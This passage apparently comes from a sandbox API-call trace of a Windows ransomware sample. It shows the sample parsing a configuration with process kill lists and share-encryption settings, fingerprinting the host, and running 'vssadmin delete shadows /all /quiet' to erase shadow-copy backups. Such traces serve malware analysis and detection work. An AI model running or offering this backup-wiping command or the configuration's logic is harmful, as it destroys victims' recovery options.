Flags=0x8, Size=0x18) returned 0x4e4e80 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0xe8) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4ea0 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0xec) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4ec0 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0xf0) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4ee0 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0xf4) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4f00 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0xf8) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4f20 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0xfc) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4f40 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0x100) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4f60 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0x104) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4f80 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e55e8, Size=0x108) returned 0x4e55e8 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4fa0 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfe0, Size=0xc) returned 0x4d3830 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4fc0 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfe0 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e4fe0 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfe0, Size=0x8) returned 0x4dbfc0 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5000 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfc0, Size=0xc) returned 0x4d38c0 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5020 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d38c0, Size=0x10) returned 0x4e5710 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5040 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e5710, Size=0x14) returned 0x4e5060 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5080 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e5060, Size=0x18) returned 0x4e50a0 [0034.487] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5060 [0034.487] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e50a0, Size=0x1c) returned 0x4df828 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e50a0 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df828, Size=0x20) returned 0x4df7d8 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e50c0 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4df7d8, Size=0x24) returned 0x4d8500 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e50e0 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d8500, Size=0x28) returned 0x4d84d0 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5100 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d84d0, Size=0x2c) returned 0x4da758 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5120 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da758, Size=0x30) returned 0x4da720 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5140 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da720, Size=0x34) returned 0x4d9968 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5160 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d9968, Size=0x38) returned 0x4d99a8 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5180 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d99a8, Size=0x3c) returned 0x4d22a0 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e51a0 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d22a0, Size=0x40) returned 0x4d22e8 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e51c0 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d22e8, Size=0x44) returned 0x4e0290 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e51e0 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x48) returned 0x4e0290 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5200 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x4c) returned 0x4e0290 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5220 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x50) returned 0x4e0290 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5240 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x54) returned 0x4e0290 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5260 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x58) returned 0x4e0290 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5280 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x5c) returned 0x4e0290 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e52a0 [0034.488] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x60) returned 0x4e0290 [0034.488] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e52c0 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x64) returned 0x4e0290 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e52e0 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x68) returned 0x4e0290 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5300 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x6c) returned 0x4e0290 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5320 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x70) returned 0x4e0290 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5340 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x74) returned 0x4e0290 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5360 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x78) returned 0x4e0290 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5380 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e0290, Size=0x7c) returned 0x4e16f8 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e53a0 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x80) returned 0x4e16f8 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e53c0 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x84) returned 0x4e16f8 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e53e0 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x88) returned 0x4e16f8 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5400 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x8c) returned 0x4e16f8 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5420 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e16f8, Size=0x90) returned 0x4e16f8 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5440 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3830, Size=0x10) returned 0x4d38c0 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5460 [0034.489] strtol (in: _Str="20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x27fa38, _Radix=0 | out: _EndPtr=0x27fa38*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 20 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d38c0, Size=0x14) returned 0x4e5480 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e54a0 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbfc0 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e54c0 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfc0, Size=0x8) returned 0x4dbfe0 [0034.489] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e54e0 [0034.489] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfe0, Size=0xc) returned 0x4d38c0 [0034.490] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5500 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d38c0, Size=0x10) returned 0x4d3830 [0034.490] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e5520 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d3830, Size=0x14) returned 0x4e5540 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e5540, Size=0x18) returned 0x4e5580 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4e5580, Size=0x1c) returned 0x4df7d8 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4da790, Size=0x34) returned 0x4d99a8 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfe0, Size=0x8) returned 0x4dbfc0 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfe0, Size=0x8) returned 0x4dbfd0 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0xc) returned 0x4d3830 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0x8) returned 0x4dbfe0 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4d99a8, Size=0x38) returned 0x4d9968 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0x8) returned 0x4dbff0 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0x8) returned 0x4dc000 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dbfd0, Size=0x8) returned 0x4dc010 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dc010, Size=0xc) returned 0x4d38c0 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dc000, Size=0xc) returned 0x4e5b10 [0034.490] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4dc000, Size=0x8) returned 0x4dc010 [0034.493] GetVersion () returned 0x1db10106 [0034.493] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x4e90b0 | out: Wow64Process=0x4e90b0) returned 1 [0034.493] GetCurrentProcessId () returned 0x968 [0034.493] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x27fae0 | out: TokenHandle=0x27fae0*=0x148) returned 0x0 [0034.493] GetTokenInformation (in: TokenHandle=0x148, TokenInformationClass=0x1, TokenInformation=0x4e9130, TokenInformationLength=0x100, ReturnLength=0x27faf4 | out: TokenInformation=0x4e9130, ReturnLength=0x27faf4) returned 1 [0034.493] IsWellKnownSid (pSid=0x4e9138*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), WellKnownSidType=0x16) returned 0 [0034.493] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e9130) returned 1 [0034.494] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x27fadc | out: lpBuffer=0x0, nSize=0x27fadc) returned 0 [0034.494] GetLastError () returned 0xea [0034.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4de5e0 [0034.494] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x4de5e0, nSize=0x27fadc | out: lpBuffer="XDUWTFONO", nSize=0x27fadc) returned 1 [0034.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xf4) returned 0x4e9130 [0034.494] GetCurrentHwProfileW (in: lpHwProfileInfo=0x4e9130 | out: lpHwProfileInfo=0x4e9130) returned 1 [0034.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x70) returned 0x4e0290 [0034.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4e81c8 [0034.494] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4e81c8 [0034.494] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x4e81f0 [0034.497] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81f0) returned 1 [0034.497] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x41) returned 0x4e9230 [0034.497] sprintf (in: _Dest=0x4e9230, _Format="%0.2x" | out: _Dest="cd") returned 2 [0034.497] sprintf (in: _Dest=0x4e9232, _Format="%0.2x" | out: _Dest="46") returned 2 [0034.497] sprintf (in: _Dest=0x4e9234, _Format="%0.2x" | out: _Dest="de") returned 2 [0034.497] sprintf (in: _Dest=0x4e9236, _Format="%0.2x" | out: _Dest="9c") returned 2 [0034.497] sprintf (in: _Dest=0x4e9238, _Format="%0.2x" | out: _Dest="ac") returned 2 [0034.497] sprintf (in: _Dest=0x4e923a, _Format="%0.2x" | out: _Dest="99") returned 2 [0034.497] sprintf (in: _Dest=0x4e923c, _Format="%0.2x" | out: _Dest="fb") returned 2 [0034.497] sprintf (in: _Dest=0x4e923e, _Format="%0.2x" | out: _Dest="0a") returned 2 [0034.497] sprintf (in: _Dest=0x4e9240, _Format="%0.2x" | out: _Dest="8b") returned 2 [0034.497] sprintf (in: _Dest=0x4e9242, _Format="%0.2x" | out: _Dest="d5") returned 2 [0034.497] sprintf (in: _Dest=0x4e9244, _Format="%0.2x" | out: _Dest="ce") returned 2 [0034.497] sprintf (in: _Dest=0x4e9246, _Format="%0.2x" | out: _Dest="70") returned 2 [0034.497] sprintf (in: _Dest=0x4e9248, _Format="%0.2x" | out: _Dest="e3") returned 2 [0034.497] sprintf (in: _Dest=0x4e924a, _Format="%0.2x" | out: _Dest="6a") returned 2 [0034.497] sprintf (in: _Dest=0x4e924c, _Format="%0.2x" | out: _Dest="f2") returned 2 [0034.497] sprintf (in: _Dest=0x4e924e, _Format="%0.2x" | out: _Dest="12") returned 2 [0034.497] sprintf (in: _Dest=0x4e9250, _Format="%0.2x" | out: _Dest="e3") returned 2 [0034.497] sprintf (in: _Dest=0x4e9252, _Format="%0.2x" | out: _Dest="c6") returned 2 [0034.497] sprintf (in: _Dest=0x4e9254, _Format="%0.2x" | out: _Dest="bd") returned 2 [0034.497] sprintf (in: _Dest=0x4e9256, _Format="%0.2x" | out: _Dest="2e") returned 2 [0034.497] sprintf (in: _Dest=0x4e9258, _Format="%0.2x" | out: _Dest="1f") returned 2 [0034.497] sprintf (in: _Dest=0x4e925a, _Format="%0.2x" | out: _Dest="13") returned 2 [0034.498] sprintf (in: _Dest=0x4e925c, _Format="%0.2x" | out: _Dest="fe") returned 2 [0034.498] sprintf (in: _Dest=0x4e925e, _Format="%0.2x" | out: _Dest="30") returned 2 [0034.498] sprintf (in: _Dest=0x4e9260, _Format="%0.2x" | out: _Dest="85") returned 2 [0034.498] sprintf (in: _Dest=0x4e9262, _Format="%0.2x" | out: _Dest="86") returned 2 [0034.498] sprintf (in: _Dest=0x4e9264, _Format="%0.2x" | out: _Dest="c8") returned 2 [0034.498] sprintf (in: _Dest=0x4e9266, _Format="%0.2x" | out: _Dest="5e") returned 2 [0034.498] sprintf (in: _Dest=0x4e9268, _Format="%0.2x" | out: _Dest="ff") returned 2 [0034.498] sprintf (in: _Dest=0x4e926a, _Format="%0.2x" | out: _Dest="0a") returned 2 [0034.498] sprintf (in: _Dest=0x4e926c, _Format="%0.2x" | out: _Dest="87") returned 2 [0034.498] sprintf (in: _Dest=0x4e926e, _Format="%0.2x" | out: _Dest="38") returned 2 [0034.498] RtlInitAnsiString (in: DestinationString=0x27fa8c, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738" | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") [0034.498] RtlAnsiStringToUnicodeString (in: DestinationString=0x27fa94, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738", AllocateDestinationString=1 | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") returned 0x0 [0034.498] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x82) returned 0x4e9328 [0034.498] RtlFreeAnsiString (AnsiString="c") [0034.498] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6ba0 [0034.498] wcscpy (in: _Dest=0x4e6ba0, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\" [0034.498] wcscat (in: _Dest=0x4e6ba0, _Source="XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0034.498] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x4) returned 0x4dbf90 [0034.498] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4e6bc0 [0034.498] wcscpy (in: _Dest=0x4e6bc0, _Source="\\\\XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0034.498] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e6ba0) returned 1 [0034.499] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e81c8) returned 1 [0034.499] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e0290) returned 1 [0034.499] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e9130) returned 1 [0034.499] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4e6ba0 [0034.499] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xc) returned 0x4e8db0 [0034.501] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20a) returned 0x4eb310 [0034.501] Wow64DisableWow64FsRedirection (in: OldValue=0x27fb7c | out: OldValue=0x27fb7c*=0x0) returned 1 [0034.501] GetSystemDirectoryW (in: lpBuffer=0x4eb310, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0034.501] wcscat (in: _Dest=0x4eb310, _Source="\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0034.501] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x240) returned 0x4eb528 [0034.501] wcscpy (in: _Dest=0x4eb528, _Source="C:\\Windows\\system32\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0034.501] wcscat (in: _Dest=0x4eb528, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" [0034.501] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x27fad4*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x27fb18 | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x27fb18*(hProcess=0x150, hThread=0x154, dwProcessId=0x984, dwThreadId=0x988)) returned 1 [0034.516] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4eb528) returned 1 [0034.516] Wow64RevertWow64FsRedirection (OlValue=0x27fb7c) returned 1 [0034.516] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4eb310) returned 1 [0034.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x75af0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0034.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x75cf0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0034.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x766a0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0034.519] WaitForMultipleObjects (nCount=0x3, lpHandles=0x4e8db0*=0x158, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 8 os_tid = 0x980 Thread: id = 11 os_tid = 0x990 [0034.539] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x4edba8 [0034.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4edba8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x4edba8, ResultLength=0x0) returned 0xc0000004 [0034.539] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4edba8, Size=0x2048) returned 0x4edba8 [0034.539] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4edba8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x4edba8, ResultLength=0x0) returned 0xc0000004 [0034.539] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4edba8, Size=0x306c) returned 0x4efbf8 [0034.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4efbf8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x4efbf8, ResultLength=0x0) returned 0xc0000004 [0034.540] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4efbf8, Size=0x4090) returned 0x4efbf8 [0034.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4efbf8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x4efbf8, ResultLength=0x0) returned 0xc0000004 [0034.540] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4efbf8, Size=0x50b4) returned 0x4f3c90 [0034.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f3c90, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x4f3c90, ResultLength=0x0) returned 0xc0000004 [0034.541] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f3c90, Size=0x60d8) returned 0x4f3c90 [0034.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f3c90, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x4f3c90, ResultLength=0x0) returned 0xc0000004 [0034.541] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f3c90, Size=0x70fc) returned 0x4f9d70 [0034.541] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f9d70, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x4f9d70, ResultLength=0x0) returned 0xc0000004 [0034.542] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x4f9d70, Size=0x8120) returned 0x4f9d70 [0034.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x4f9d70, Length=0x8120, 